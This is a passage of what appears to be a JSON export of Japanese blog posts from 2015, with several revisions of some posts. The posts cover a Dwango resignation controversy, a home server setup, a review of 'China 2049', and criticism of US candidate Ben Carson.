hiroki-uemuraのブログ](http://hiroki-uemura.hateblo.jp/entry/2015/09/01/230611)\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e一番大きなのは給与の問題。ソシャゲバブルのタイミング。開発環境の問題。インフラの問題。そのほかいろいろな理由。ほぼ、事実認識としては間違ってないじゃん。ニュアンスの違いは立場が違うからしょうがない / “ドワンゴは大量退職に関する…” \u003ca href=\"http://t.co/cEZY0Pa9zf\"\u003ehttp://t.co/cEZY0Pa9zf\u003c/a\u003e\u003c/p\u003e— kadongo38 (@kadongo38) \u003ca href=\"https://twitter.com/kadongo38/status/638743660108976128\"\u003eSeptember 1, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eドワンゴ川上、 kuzuha のエントリが事実として間違ってないといってるし、総務部を退職強要に用いていたという点についても特に否定しないので、ドワンゴはかつてそのようなパワーハラスメントをしている犯罪企業だったということですね。\u003c/p\u003e— おしゃれ大魔神処女みよし (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/638881453112078336\"\u003eSeptember 2, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\r\n### 追記\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e\u003ca href=\"https://twitter.com/ssig33\"\u003e@ssig33\u003c/a\u003e 正直な話、知らないですね。そういう噂は確かに何人かいっている人がいるので、元になるような話は何かあるのでしょう。ただ少なくともエンジニアを総務部とか、そんなことやってないんじゃないかな。\u003c/p\u003e\u0026mdash; kadongo38 (@kadongo38) \u003ca href=\"https://twitter.com/kadongo38/status/638922627180949504\"\u003eSeptember 2, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2015-09-02T03:57:14.000Z","updated_at":"2015-09-02T03:57:14.000Z"},{"id":2925,"name":"text/ドワンゴもめ事の一番面白い点","body":"%blog%\r\n\r\n\u003e 最後は総務部を追い出し部屋にしたことです。やめさせたい人間をグループウェアから登録解除し、総務部という名前を持った統合思念体に統一し、PCも共有で1台しか与えない。昨日までエンジニアをしていた人間がスーツを着て社内を歩いて備品の補充をする。そんなことが許されていました。\r\n\u003e\r\n\u003e [ドワンゴは大量退職に関する印象操作をやめろ - hiroki-uemuraのブログ](http://hiroki-uemura.hateblo.jp/entry/2015/09/01/230611)\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e一番大きなのは給与の問題。ソシャゲバブルのタイミング。開発環境の問題。インフラの問題。そのほかいろいろな理由。ほぼ、事実認識としては間違ってないじゃん。ニュアンスの違いは立場が違うからしょうがない / “ドワンゴは大量退職に関する…” \u003ca href=\"http://t.co/cEZY0Pa9zf\"\u003ehttp://t.co/cEZY0Pa9zf\u003c/a\u003e\u003c/p\u003e— kadongo38 (@kadongo38) \u003ca href=\"https://twitter.com/kadongo38/status/638743660108976128\"\u003eSeptember 1, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eドワンゴ川上、 kuzuha のエントリが事実として間違ってないといってるし、総務部を退職強要に用いていたという点についても特に否定しないので、ドワンゴはかつてそのようなパワーハラスメントをしている犯罪企業だったということですね。\u003c/p\u003e— おしゃれ大魔神処女みよし (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/638881453112078336\"\u003eSeptember 2, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\r\n### 追記\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e\u003ca href=\"https://twitter.com/ssig33\"\u003e@ssig33\u003c/a\u003e 正直な話、知らないですね。そういう噂は確かに何人かいっている人がいるので、元になるような話は何かあるのでしょう。ただ少なくともエンジニアを総務部とか、そんなことやってないんじゃないかな。\u003c/p\u003e— kadongo38 (@kadongo38) \u003ca href=\"https://twitter.com/kadongo38/status/638922627180949504\"\u003eSeptember 2, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n### さらに追記\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e川上さんの現状の発言は極めて正しい守り方で、なんか証拠を示されたら、「知らなかったし大企業のトップというのは全社把握できなくて当然だが一定の責任は感じる、今後そういうことが無いように気をつけます」で済む。\u003c/p\u003e\u0026mdash; ペリカン (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/638923511751274496\"\u003eSeptember 2, 2015\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2015-09-02T06:57:30.000Z","updated_at":"2015-09-02T06:57:30.000Z"},{"id":2926,"name":"google086442339332989b.html","body":"raw\r\ngoogle-site-verification: google086442339332989b.html","created_at":"2015-09-04T13:53:35.000Z","updated_at":"2015-09-04T13:53:35.000Z"},{"id":2927,"name":"text/自宅サーバーの現状","body":"%blog%\r\n\r\n録画界隈とかで公開するの流行ってるっぽいので\r\n\r\n![image](http://s.ssig33.com/files/c58bc109d6cb46e9b4099cc99780f674)\r\n\r\nmdadm + lvm + xfs です。これくらいなら余裕で安定運用できます。 HDD は Seagate が一番頻繁に壊れます。というか Seagate しか壊れない。","created_at":"2015-09-25T01:09:34.000Z","updated_at":"2015-09-25T01:09:34.000Z"},{"id":2928,"name":"text/china2049","body":"%blog% マイケル・ピルズベリー『China 2049』 読んだ\r\n\r\nこの本の内容を簡単にまとめると\r\n\r\n- 著者はアメリカの対中国情報収集の前線で長らく勤務してきた\r\n- 著者は中国がいずれ民主化、資本主義化すると考えてきたが、これは中国の情報コントロールに騙された結果でありあやまりである\r\n- 著者同様にアメリカ政府も中国に騙されていた\r\n- 中国指導者には民主派とタカ派がおり、底流にすぎなかったタカ派が昨今主流化しつつある\r\n- 中国の指導者達は様々な古典を学び、そこから国家の勢力を定数化し長期的な戦略を立てる方策を学んでいる\r\n- 中国の指導者達は、アメリカもそのように長期的な戦略を立てていると考えているが、実際にはアメリカに長期的な戦略は存在していない\r\n- いまや中国はアメリカに対して勝利しつつある\r\n\r\nというようなことが書かれている。しかしこの本をよくよく読んでみると、アメリカの指導者達は実に見事に国際情勢を評価して正しい戦略を立ててきたことが分かる。\r\n\r\n著者は、中国人はアメリカを以下のように評価していると記している。\r\n\r\n1. アメリカは古くからアジアの経済権益の獲得を狙っていた\r\n2. アメリカは第一次世界大戦でイギリスが疲弊するやいなや、特に金融面においてアメリカの優位を確立させた\r\n3. アジアで日本の覇権が確立されそうになるとアメリカはこれを撃破する目的で中華民国を支援した\r\n4. ニクソンとキッシンジャーは対ソ連包囲網を構築する目的で対中接近した\r\n5. ソ連が崩壊し、中国経済の成長が著しくなると、アメリカは現代では対中国包囲網の建設を試みている\r\n\r\n著者は、これを中国人の被害妄想に過ぎないとする。アメリカは常に自由と正義の為に戦っている国家でこんなことはありえない云々というようなことが書かれている。\r\n\r\nが、実際のアメリカがそうでないことは明らかで、アメリカは以下のような政権や勢力を支援してきた\r\n\r\n- キューバの独裁者、フルヘンシオ・バティスタ\r\n- ニカラグアで 43 年にもわたる長期独裁をおこなったソモサ一家\r\n- 女性や非イスラム教徒の人権を蹂躙しつづけるサウジアラビアのサウジ一家\r\n- エジプトの軍事独裁政権\r\n- ウサマ・ビン・ラディンをはじめとするイスラム聖戦組織\r\n\r\nようするにアメリカには二つの流れが存在している。本書の著者が信じるような、自由と正義の為に戦うアメリカと、冷徹に情勢を評価しアメリカの国家勢力を伸長させようという勢力だ。\r\n\r\n結局のところ、理想論を語る勢力と、現実主義の勢力があり、実態としてはリアリズム派が国家統治の主流であるというのは、どこの国も同じなのだろう。村山富市は自衛隊を解散しなかったし、鳩山由紀夫は辺野古移設に回帰したし、アレクシス・ツィプラスはヤニス・ヴァルファキスを更迭してユーロ圏に残留した。\r\n\r\nアメリカも、中国も、ようするにそういう普通の国だったということで、著者は理想論に幻惑されて現実を見据えることができなかった。アメリカは理想主義の国家であり、中国はいずれ理想主義が勝つと考えていた。\r\n\r\n著者は中国では現実主義が主流であることに気付いた。そしてアメリカの理想をまだ信じており、結果として極端な反中国主義者になってしまった。結局、それだけのことだ。\r\n\r\n著者は見落しているが、アメリカは実によく中国の脅威を見抜いているし、また著者もまたその能力を見抜かれている。\r\n\r\n- キッシンジャーは決して著者から正式に直接報告を受けようとしなかった\r\n- レーガン大統領は中国の脅威を見抜いていた\r\n - 著者はにもかかわらず「何故か」レーガンは結局対中接近を止めなかったと著しているが、この時期中国とソ連ではソ連のほうがより大きな脅威だったということは明らかだろう\r\n- アメリカ政府は決して著者を情報を「評価する」立場に立たせようとしなかった\r\n - アメリカは理想論に燃える著者のような人物を、スパイ活動の最前線で活用したが、後方で戦略を立てる人材としては活用しようとしなかった\r\n\r\nようするにアメリカ政府高官にとって著者は「中国にいいように操られる愚か者だが情報センサーとしては役に立たないこともない」という程度の存在だったのだろう。\r\n\r\nところで、著者は以下のように著している\r\n\r\n- 中国軍は正規戦力を強化するのではなく、側面戦力を強化しようとしていて、その内容は以下の通りである\r\n - サイバー戦能力\r\n - シーレーン防護能力\r\n - シーレーン攻撃能力\r\n - 対空母迎撃ミサイルシステム\r\n\r\n著者は恐らくパットン将軍やシュワルツコフ将軍が指揮する大戦車軍団の戦いだけを「正面戦争」と考えており、海軍力や空軍力をその補助ぐらいにしか考えていないのだろう。\r\n\r\nこのあまりにも幼稚な戦争観は実のところアメリカ人によく見られるもので、ミアシャイマー教授などもこの類型に属していると考えてよいのではないかと思っている。\r\n\r\nまた作者は中国人が歴史と古典を学びそこから偉大な知識を得ていることに驚愕している。このあたりも一般的なアメリカ人の「歴史」観が反映されているのではないだろうか。面白いポイントだ。","created_at":"2015-10-07T03:53:40.000Z","updated_at":"2015-10-07T03:53:40.000Z"},{"id":2929,"name":"text/china2049","body":"%blog% マイケル・ピルズベリー『China 2049』 読んだ\r\n\r\nこの本の内容を簡単にまとめると\r\n\r\n- 著者はアメリカの対中国情報収集の前線で長らく勤務してきた\r\n- 著者は中国がいずれ民主化、資本主義化すると考えてきたが、これは中国の情報コントロールに騙された結果でありあやまりである\r\n- 著者同様にアメリカ政府も中国に騙されていた\r\n- 中国指導者には民主派とタカ派がおり、底流にすぎなかったタカ派が昨今主流化しつつある\r\n- 中国の指導者達は様々な古典を学び、そこから国家の勢力を定量化し長期的な戦略を立てる方策を学んでいる\r\n- 中国の指導者達は、アメリカもそのように長期的な戦略を立てていると考えているが、実際にはアメリカに長期的な戦略は存在していない\r\n- いまや中国はアメリカに対して勝利しつつある\r\n\r\nというようなことが書かれている。しかしこの本をよくよく読んでみると、アメリカの指導者達は実に見事に国際情勢を評価して正しい戦略を立ててきたことが分かる。\r\n\r\n著者は、中国人はアメリカを以下のように評価していると記している。\r\n\r\n1. アメリカは古くからアジアの経済権益の獲得を狙っていた\r\n2. アメリカは第一次世界大戦でイギリスが疲弊するやいなや、特に金融面においてアメリカの優位を確立させた\r\n3. アジアで日本の覇権が確立されそうになるとアメリカはこれを撃破する目的で中華民国を支援した\r\n4. ニクソンとキッシンジャーは対ソ連包囲網を構築する目的で対中接近した\r\n5. ソ連が崩壊し、中国経済の成長が著しくなると、アメリカは現代では対中国包囲網の建設を試みている\r\n\r\n著者は、これを中国人の被害妄想に過ぎないとする。アメリカは常に自由と正義の為に戦っている国家でこんなことはありえない云々というようなことが書かれている。\r\n\r\nが、実際のアメリカがそうでないことは明らかで、アメリカは以下のような政権や勢力を支援してきた\r\n\r\n- キューバの独裁者、フルヘンシオ・バティスタ\r\n- ニカラグアで 43 年にもわたる長期独裁をおこなったソモサ一家\r\n- 女性や非イスラム教徒の人権を蹂躙しつづけるサウジアラビアのサウジ一家\r\n- エジプトの軍事独裁政権\r\n- ウサマ・ビン・ラディンをはじめとするイスラム聖戦組織\r\n\r\nようするにアメリカには二つの流れが存在している。本書の著者が信じるような、自由と正義の為に戦うアメリカと、冷徹に情勢を評価しアメリカの国家勢力を伸長させようという勢力だ。\r\n\r\n結局のところ、理想論を語る勢力と、現実主義の勢力があり、実態としてはリアリズム派が国家統治の主流であるというのは、どこの国も同じなのだろう。村山富市は自衛隊を解散しなかったし、鳩山由紀夫は辺野古移設に回帰したし、アレクシス・ツィプラスはヤニス・ヴァルファキスを更迭してユーロ圏に残留した。\r\n\r\nアメリカも、中国も、ようするにそういう普通の国だったということで、著者は理想論に幻惑されて現実を見据えることができなかった。アメリカは理想主義の国家であり、中国はいずれ理想主義が勝つと考えていた。\r\n\r\n著者は中国では現実主義が主流であることに気付いた。そしてアメリカの理想をまだ信じており、結果として極端な反中国主義者になってしまった。結局、それだけのことだ。\r\n\r\n著者は見落しているが、アメリカは実によく中国の脅威を見抜いているし、また著者もまたその能力を見抜かれている。\r\n\r\n- キッシンジャーは決して著者から正式に直接報告を受けようとしなかった\r\n- レーガン大統領は中国の脅威を見抜いていた\r\n - 著者はにもかかわらず「何故か」レーガンは結局対中接近を止めなかったと著しているが、この時期中国とソ連ではソ連のほうがより大きな脅威だったということは明らかだろう\r\n- アメリカ政府は決して著者を情報を「評価する」立場に立たせようとしなかった\r\n - アメリカは理想論に燃える著者のような人物を、スパイ活動の最前線で活用したが、後方で戦略を立てる人材としては活用しようとしなかった\r\n\r\nようするにアメリカ政府高官にとって著者は「中国にいいように操られる愚か者だが情報センサーとしては役に立たないこともない」という程度の存在だったのだろう。\r\n\r\nところで、著者は以下のように著している\r\n\r\n- 中国軍は正規戦力を強化するのではなく、側面戦力を強化しようとしていて、その内容は以下の通りである\r\n - サイバー戦能力\r\n - シーレーン防護能力\r\n - シーレーン攻撃能力\r\n - 対空母迎撃ミサイルシステム\r\n\r\n著者は恐らくパットン将軍やシュワルツコフ将軍が指揮する大戦車軍団の戦いだけを「正面戦争」と考えており、海軍力や空軍力をその補助ぐらいにしか考えていないのだろう。\r\n\r\nこのあまりにも幼稚な戦争観は実のところアメリカ人によく見られるもので、ミアシャイマー教授などもこの類型に属していると考えてよいのではないかと思っている。\r\n\r\nまた作者は中国人が歴史と古典を学びそこから偉大な知識を得ていることに驚愕している。このあたりも一般的なアメリカ人の「歴史」観が反映されているのではないだろうか。面白いポイントだ。","created_at":"2015-10-08T14:58:20.000Z","updated_at":"2015-10-08T14:58:20.000Z"},{"id":2930,"name":"text/ミャンマー情勢について論者を評価する","body":"%blog%\r\n\r\nミャンマー情勢がいろいろとあって、インターネットなどでも人々がいろいろと論評を加えています。\r\n\r\n沢山議論が提起されていますから、全部読むのもなかなか大変です。そこで、とりあえず読まなくていいなみたいなものを簡単に判別する方法があります。\r\n\r\nそれはアウンサンスーチー氏の名前をアウンサン・スー・チーだとかスーチー氏だとかアウン・サン・スー・チーだとかスー・チー氏だとか表記している記事は何も考えてないし知らない人達なので無視していいというものです。\r\n\r\nあの人の名前はアウンサンスーチーでフルネームであって、スーチー家のアウンサンさんでもなければアウンサン家のスーチーさんでもありません。\r\n\r\nある国の最も重要な人物の名前すらまともに表記できない人の記事は読む価値が無いのは明らかでしょう。","created_at":"2015-11-12T08:00:42.000Z","updated_at":"2015-11-12T08:00:42.000Z"},{"id":2931,"name":"text/ベン・カーソン","body":"%blog% アメリカ大統領選挙候補者ベン・カーソン\r\n\r\n現在こういうことになっています。\r\n\r\n\u003e 2016年米大統領選に向けた共和党候補指名争いに異変が起こっている。指名まで1年を切ったこの段階になっても各種世論調査では「政治経験ゼロ」組が元知事や連邦議員たちを押しのけて上位を占めているのだ。\r\n\u003e\r\n\u003e当初泡沫候補と見られていた不動産王ダニエル・トランプ、黒人の元精神外科医のベン・カーソン、そして紅一点、ヒューレット・パッカード(HP)元最高経営責任者(CEO)のカーリー・フィロリーナの3人だ。\r\n\u003e\r\n\u003e しかも10月後半に入って、カーソンがトランプを抜いてトップに躍り出た。\r\n\u003e[人気急上昇、黒人の大統領候補ベン・カーソンの実力](http://jbpress.ismedia.jp/articles/-/45187)\r\n\r\nここまではよく知られている話です。様々な媒体で報じられている話です。ではこのベン・カーソンという人の主張の一部を紹介しましょう。\r\n\r\n\u003e 元外科医で政治家としては新人のベン・カーソン氏の成功がある。同性愛についての彼の極端な見解(同性愛を獣姦になぞらえ、人間は獄中で過ごすことでゲイになるのだと主張している)は、共和党支持母体の一定の層から共感を得ており\r\n\u003e\r\n\u003e [米大統領選に「奇妙な候補者」が溢れる理由](http://toyokeizai.net/articles/-/78365)\r\n\r\n東洋経済だけだと信用ならんから英語ソース。\r\n\r\n\u003e Carson suggested that being LGBT was a choice because of “prison.” While he later tried to retract his analogy, he was ambiguous about whether or not he believed being LGBT was a choice, stating that the science was unclear. The belief that sexual orientation and gender identity is a choice is the foundation for discredited “conversion therapy” efforts that has been banned in some states after minors undergoing the so-called “therapy” committed suicide.\r\n\u003e (中略)\r\n\u003e Carson said, \"Well, my thoughts are that marriage is between a man and a woman. It's a well-established, fundamental pillar of society and no group, be they gays, be they NAMBLA, be they people who believe in bestiality, it doesn't matter what they are, they don't get to change the definition. So it's not something that's against gays. It's against anybody who wants to come along and change the fundamental definitions of pillars of society. It has significant ramifications.\"\r\n\u003e\r\n\u003e [BEN CARSON: COMPARES SAME-SEX MARRIAGE TO BESTIALITY](http://www.hrc.org/2016RepublicanFacts/ben-carson)\r\n\r\n以下拙訳(takeda25 さんなどの突っ込みを期待しております)\r\n\r\n\u003eカーソンは監獄によって人は LGBT になることを選択すると推測していいた。後に彼はこのこじつけを撤回しようとしましたが、人は LGBT になるかどうかを選択するのだというこの\"科学的な命題\"を信じているのかどうか、その態度を明確にしていません。性自認および性的指向が本人の選択によって決定されるという考え方は「変換治療」の信用基盤になっています。この「治療」はいわゆる治療自殺の原因となったことによって、いくつかの州では禁止されているものです。\r\n\u003e(中略)\r\n\u003eカーソンは以下のように語った。「私が考えるに、結婚とは男女の間で行われるものです。この考え方は十分に確立された、社会の基礎的な柱です。ゲイであれ、少年性愛愛好者団体であれ、獣姦愛好者であれこの考え方を変えることはできません。つまり、私はゲイに何か対抗措置をとるというわけではないのです。私は、社会の基本的な定義を変えようとする者に大して対抗措置を取ろうとしているわけです。こういうことは重大な波及効果を持っています」\r\n\u003e\r\n\u003e ベン・カーソン: 同性婚と獣姦愛好者を比較する\r\n\r\n私が考えるに、この人はほかのどの候補者と比べても狂ってます。異常です。にも拘わらずなんでこの人が人気を集めているかはよくわかりません。アメリカにはこういう主張に同調するへんな人が僕の想像よりずっと多いのかもしれません。マスメディアがドナルド・トランプ憎しでベン・カーソンの異常性を叩くのを忘れているということも考えられます。\r\n\r\n","created_at":"2015-11-27T07:27:04.000Z","updated_at":"2015-11-27T07:27:04.000Z"},{"id":2932,"name":"text/ベン・カーソン","body":"%blog% アメリカ大統領選挙候補者ベン・カーソン\r\n\r\n現在こういうことになっています。\r\n\r\n\u003e 2016年米大統領選に向けた共和党候補指名争いに異変が起こっている。指名まで1年を切ったこの段階になっても各種世論調査では「政治経験ゼロ」組が元知事や連邦議員たちを押しのけて上位を占めているのだ。\r\n\u003e\r\n\u003e当初泡沫候補と見られていた不動産王ダニエル・トランプ、黒人の元精神外科医のベン・カーソン、そして紅一点、ヒューレット・パッカード(HP)元最高経営責任者(CEO)のカーリー・フィロリーナの3人だ。\r\n\u003e\r\n\u003e しかも10月後半に入って、カーソンがトランプを抜いてトップに躍り出た。\r\n\u003e[人気急上昇、黒人の大統領候補ベン・カーソンの実力](http://jbpress.ismedia.jp/articles/-/45187)\r\n\r\nここまではよく知られている話です。様々な媒体で報じられている話です。ではこのベン・カーソンという人の主張の一部を紹介しましょう。\r\n\r\n\u003e 元外科医で政治家としては新人のベン・カーソン氏の成功がある。同性愛についての彼の極端な見解(同性愛を獣姦になぞらえ、人間は獄中で過ごすことでゲイになるのだと主張している)は、共和党支持母体の一定の層から共感を得ており\r\n\u003e\r\n\u003e [米大統領選に「奇妙な候補者」が溢れる理由](http://toyokeizai.net/articles/-/78365)\r\n\r\n東洋経済だけだと信用ならんから英語ソース。\r\n\r\n\u003e Carson suggested that being LGBT was a choice because of “prison.” While he later tried to retract his analogy, he was ambiguous about whether or not he believed being LGBT was a choice, stating that the science was unclear. The belief that sexual orientation and gender identity is a choice is the foundation for discredited “conversion therapy” efforts that has been banned in some states after minors undergoing the so-called “therapy” committed suicide.\r\n\u003e \r\n\u003e (中略)\r\n\u003e\r\n\u003e Carson said, \"Well, my thoughts are that marriage is between a man and a woman. It's a well-established, fundamental pillar of society and no group, be they gays, be they NAMBLA, be they people who believe in bestiality, it doesn't matter what they are, they don't get to change the definition. So it's not something that's against gays. It's against anybody who wants to come along and change the fundamental definitions of pillars of society. It has significant ramifications.\"\r\n\u003e\r\n\u003e [BEN CARSON: COMPARES SAME-SEX MARRIAGE TO BESTIALITY](http://www.hrc.org/2016RepublicanFacts/ben-carson)\r\n\r\n以下拙訳(takeda25 さんなどの突っ込みを期待しております)\r\n\r\n\u003eカーソンは監獄によって人は LGBT になることを選択すると推測していいた。後に彼はこのこじつけを撤回しようとしましたが、人は LGBT になるかどうかを選択するのだというこの\"科学的な命題\"を信じているのかどうか、その態度を明確にしていません。性自認および性的指向が本人の選択によって決定されるという考え方は「変換治療」の信用基盤になっています。この「治療」はいわゆる治療自殺の原因となったことによって、いくつかの州では禁止されているものです。\r\n\u003e\r\n\u003e(中略)\r\n\u003e\r\n\u003eカーソンは以下のように語った。「私が考えるに、結婚とは男女の間で行われるものです。この考え方は十分に確立された、社会の基礎的な柱です。ゲイであれ、少年性愛愛好者団体であれ、獣姦愛好者であれこの考え方を変えることはできません。つまり、私はゲイに何か対抗措置をとるというわけではないのです。私は、社会の基本的な定義を変えようとする者に大して対抗措置を取ろうとしているわけです。こういうことは重大な波及効果を持っています」\r\n\u003e\r\n\u003e ベン・カーソン: 同性婚と獣姦愛好者を比較する\r\n\r\n私が考えるに、この人はほかのどの候補者と比べても狂ってます。異常です。にも拘わらずなんでこの人が人気を集めているかはよくわかりません。アメリカにはこういう主張に同調するへんな人が僕の想像よりずっと多いのかもしれません。マスメディアがドナルド・トランプ憎しでベン・カーソンの異常性を叩くのを忘れているということも考えられます。\r\n\r\n","created_at":"2015-11-27T07:27:29.000Z","updated_at":"2015-11-27T07:27:29.000Z"},{"id":2933,"name":"text/ベン・カーソン","body":"%blog% アメリカ大統領選挙候補者ベン・カーソン\r\n\r\n現在こういうことになっています。\r\n\r\n\u003e 2016年米大統領選に向けた共和党候補指名争いに異変が起こっている。指名まで1年を切ったこの段階になっても各種世論調査では「政治経験ゼロ」組が元知事や連邦議員たちを押しのけて上位を占めているのだ。\r\n\u003e\r\n\u003e当初泡沫候補と見られていた不動産王ダニエル・トランプ、黒人の元精神外科医のベン・カーソン、そして紅一点、ヒューレット・パッカード(HP)元最高経営責任者(CEO)のカーリー・フィロリーナの3人だ。\r\n\u003e\r\n\u003e しかも10月後半に入って、カーソンがトランプを抜いてトップに躍り出た。\r\n\u003e[人気急上昇、黒人の大統領候補ベン・カーソンの実力](http://jbpress.ismedia.jp/articles/-/45187)\r\n\r\nここまではよく知られている話です。様々な媒体で報じられている話です。ではこのベン・カーソンという人の主張の一部を紹介しましょう。\r\n\r\n\u003e 元外科医で政治家としては新人のベン・カーソン氏の成功がある。同性愛についての彼の極端な見解(同性愛を獣姦になぞらえ、人間は獄中で過ごすことでゲイになるのだと主張している)は、共和党支持母体の一定の層から共感を得ており\r\n\u003e\r\n\u003e [米大統領選に「奇妙な候補者」が溢れる理由](http://toyokeizai.net/articles/-/78365)\r\n\r\n東洋経済だけだと信用ならんから英語ソース。\r\n\r\n\u003e Carson suggested that being LGBT was a choice because of “prison.” While he later tried to retract his analogy, he was ambiguous about whether or not he believed being LGBT was a choice, stating that the science was unclear. The belief that sexual orientation and gender identity is a choice is the foundation for discredited “conversion therapy” efforts that has been banned in some states after minors undergoing the so-called “therapy” committed suicide.\r\n\u003e \r\n\u003e (中略)\r\n\u003e\r\n\u003e Carson said, \"Well, my thoughts are that marriage is between a man and a woman. It's a well-established, fundamental pillar of society and no group, be they gays, be they NAMBLA, be they people who believe in bestiality, it doesn't matter what they are, they don't get to change the definition. So it's not something that's against gays. It's against anybody who wants to come along and change the fundamental definitions of pillars of society. It has significant ramifications.\"\r\n\u003e\r\n\u003e [BEN CARSON: COMPARES SAME-SEX MARRIAGE TO BESTIALITY](http://www.hrc.org/2016RepublicanFacts/ben-carson)\r\n\r\n以下拙訳(takeda25 さんなどの突っ込みを期待しております)\r\n\r\n\u003eカーソンは監獄によって人は LGBT になることを選択すると推測していた。後に彼はこのこじつけを撤回しようとしましたが、人は LGBT になるかどうかを選択するのだというこの\"科学的な命題\"を信じているのかどうか、その態度を明確にしていません。性自認および性的指向が本人の選択によって決定されるという考え方は「変換治療」の信用基盤になっています。この「治療」はいわゆる治療自殺の原因となったことによって、いくつかの州では禁止されているものです。\r\n\u003e\r\n\u003e(中略)\r\n\u003e\r\n\u003eカーソンは以下のように語った。「私が考えるに、結婚とは男女の間で行われるものです。この考え方は十分に確立された、社会の基礎的な柱です。ゲイであれ、少年性愛愛好者団体であれ、獣姦愛好者であれこの考え方を変えることはできません。つまり、私はゲイに何か対抗措置をとるというわけではないのです。私は、社会の基本的な定義を変えようとする者に大して対抗措置を取ろうとしているわけです。こういうことは重大な波及効果を持っています」\r\n\u003e\r\n\u003e ベン・カーソン: 同性婚と獣姦愛好者を比較する\r\n\r\n私が考えるに、この人はほかのどの候補者と比べても狂ってます。異常です。にも拘わらずなんでこの人が人気を集めているかはよくわかりません。アメリカにはこういう主張に同調するへんな人が僕の想像よりずっと多いのかもしれません。マスメディアがドナルド・トランプ憎しでベン・カーソンの異常性を叩くのを忘れているということも考えられます。","created_at":"2015-11-27T07:33:51.000Z","updated_at":"2015-11-27T07:33:51.000Z"},{"id":2934,"name":"text/ベン・カーソン","body":"%blog% アメリカ大統領選挙候補者ベン・カーソン\r\n\r\n現在こういうことになっています。\r\n\r\n\u003e 2016年米大統領選に向けた共和党候補指名争いに異変が起こっている。指名まで1年を切ったこの段階になっても各種世論調査では「政治経験ゼロ」組が元知事や連邦議員たちを押しのけて上位を占めているのだ。\r\n\u003e\r\n\u003e当初泡沫候補と見られていた不動産王ダニエル・トランプ、黒人の元精神外科医のベン・カーソン、そして紅一点、ヒューレット・パッカード(HP)元最高経営責任者(CEO)のカーリー・フィロリーナの3人だ。\r\n\u003e\r\n\u003e しかも10月後半に入って、カーソンがトランプを抜いてトップに躍り出た。\r\n\u003e\r\n\u003e[人気急上昇、黒人の大統領候補ベン・カーソンの実力](http://jbpress.ismedia.jp/articles/-/45187)\r\n\r\nここまではよく知られている話です。様々な媒体で報じられている話です。ではこのベン・カーソンという人の主張の一部を紹介しましょう。\r\n\r\n\u003e 元外科医で政治家としては新人のベン・カーソン氏の成功がある。同性愛についての彼の極端な見解(同性愛を獣姦になぞらえ、人間は獄中で過ごすことでゲイになるのだと主張している)は、共和党支持母体の一定の層から共感を得ており\r\n\u003e\r\n\u003e [米大統領選に「奇妙な候補者」が溢れる理由](http://toyokeizai.net/articles/-/78365)\r\n\r\n東洋経済だけだと信用ならんから英語ソース。\r\n\r\n\u003e Carson suggested that being LGBT was a choice because of “prison.” While he later tried to retract his analogy, he was ambiguous about whether or not he believed being LGBT was a choice, stating that the science was unclear. The belief that sexual orientation and gender identity is a choice is the foundation for discredited “conversion therapy” efforts that has been banned in some states after minors undergoing the so-called “therapy” committed suicide.\r\n\u003e \r\n\u003e (中略)\r\n\u003e\r\n\u003e Carson said, \"Well, my thoughts are that marriage is between a man and a woman. It's a well-established, fundamental pillar of society and no group, be they gays, be they NAMBLA, be they people who believe in bestiality, it doesn't matter what they are, they don't get to change the definition. So it's not something that's against gays. It's against anybody who wants to come along and change the fundamental definitions of pillars of society. It has significant ramifications.\"\r\n\u003e\r\n\u003e [BEN CARSON: COMPARES SAME-SEX MARRIAGE TO BESTIALITY](http://www.hrc.org/2016RepublicanFacts/ben-carson)\r\n\r\n以下拙訳(takeda25 さんなどの突っ込みを期待しております)\r\n\r\n\u003eカーソンは監獄によって人は LGBT になることを選択すると推測していた。後に彼はこのこじつけを撤回しようとしましたが、人は LGBT 